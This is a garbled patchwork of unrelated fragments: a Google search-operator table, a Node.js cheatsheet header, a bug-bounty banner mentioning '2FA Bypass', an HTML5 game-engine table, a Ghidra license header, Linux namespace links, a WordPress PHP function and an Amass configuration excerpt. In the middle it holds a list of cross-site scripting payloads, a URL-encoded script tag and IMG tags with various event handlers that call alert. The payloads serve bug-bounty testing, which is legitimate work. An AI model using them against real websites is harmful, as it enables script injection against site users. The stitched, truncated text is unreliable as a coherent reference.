Filter | Description | Example |
---|---|---|
allintext | Searches for occurrences of all the keywords given. | allintext:"keyword" |
intext | Searches for the occurrences of keywords all at once or one at a time. | intext:"keyword" |
inurl | Searches for a URL matching one of the keywords. | inurl:"keyword" |
allinurl | Searches for a URL matching all the keywords in the query. | allinurl:"keyword" |
intitle | Searches for occurrences of keywords in title all or one. | intitle:"keyword" |
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/* ******************************************************************************************* | |
* THE UPDATED VERSION IS AVAILABLE AT | |
* https://github.com/LeCoupa/awesome-cheatsheets | |
* ******************************************************************************************* */ | |
// 0. Synopsis. | |
// http://nodejs.org/api/synopsis.html | |
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%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
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╔╦╗╦ ╦ ╔╗ ┬ ┬┌─┐ ╔╗ ┌─┐┬ ┬┌┐┌┬┐┬ ┬ ╦═╗┌─┐┌─┐┌─┐┬ ┬┬─┐┌─┐┌─┐┌─┐ | |
║║║╚╦╝ ╠╩╗│ ││ ┬ ╠╩╗│ ││ │││││ └┬┘ ╠╦╝├┤ └─┐│ ││ │├┬┘│ ├┤ └─┐ | |
╩ ╩ ╩ ╚═╝└─┘└─┘ ╚═╝└─┘└─┘┘└┘┴ ┴ ╩╚═└─┘└─┘└─┘└─┘┴└─└─┘└─┘└─┘ | |
// | |
()==========>>======================================-- | |
\\ | |
2FA Bypass |
IMPORTANT! Remember to check out the wiki page at https://github.com/bebraw/jswiki/wiki/Game-Engines for the most up to date version. There's also a "notes" column in the table but it simply does not fit there... Check out the raw version to see it.
This table contains primarily HTML5 based game engines and frameworks. You might also want to check out the [[Feature Matrix|Game-Engine-Feature-Matrix]], [[Game Resources]] and [[Scene Graphs]].
Name | Size (KB) | License | Type | Unit Tests | Docs | Repository | Notes |
---|---|---|---|---|---|---|---|
Akihabara | 453 | GPL2, MIT | Classic Repro | no | API | github | Intended for making classic arcade-style games in JS+HTML5 |
AllBinary Platform | Platform Dependent | AllBinary | 2D/2.5D/3D | n |
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/* ### | |
* IP: GHIDRA | |
* | |
* Licensed under the Apache License, Version 2.0 (the "License"); | |
* you may not use this file except in compliance with the License. | |
* You may obtain a copy of the License at | |
* | |
* http://www.apache.org/licenses/LICENSE-2.0 | |
* | |
* Unless required by applicable law or agreed to in writing, software |
-
namespaces - overview of Linux namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html
-
mount_namespaces - overview of Linux mount namespaces
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/* Get featured image */ | |
if( !function_exists( 'get_the_post_thumbnail_by_blog' ) ) { | |
function get_the_post_thumbnail_by_blog($blog_id=NULL,$post_id=NULL,$size='post-thumbnail',$attrs=NULL) { | |
global $current_blog; | |
$sameblog = false; | |
if( empty( $blog_id ) || $blog_id == $current_blog->ID ) { | |
$blog_id = $current_blog->ID; | |
$sameblog = true; | |
} |
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# Copyright 2017-2020 Jeff Foley. All rights reserved. | |
# Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. | |
# Should results only be collected passively and without DNS resolution? Not recommended. | |
#mode = passive | |
mode = active | |
# The directory that stores the Cayley graph database and other output files | |
# The default for Linux systems is: $HOME/.config/amass | |
#output_directory = amass |
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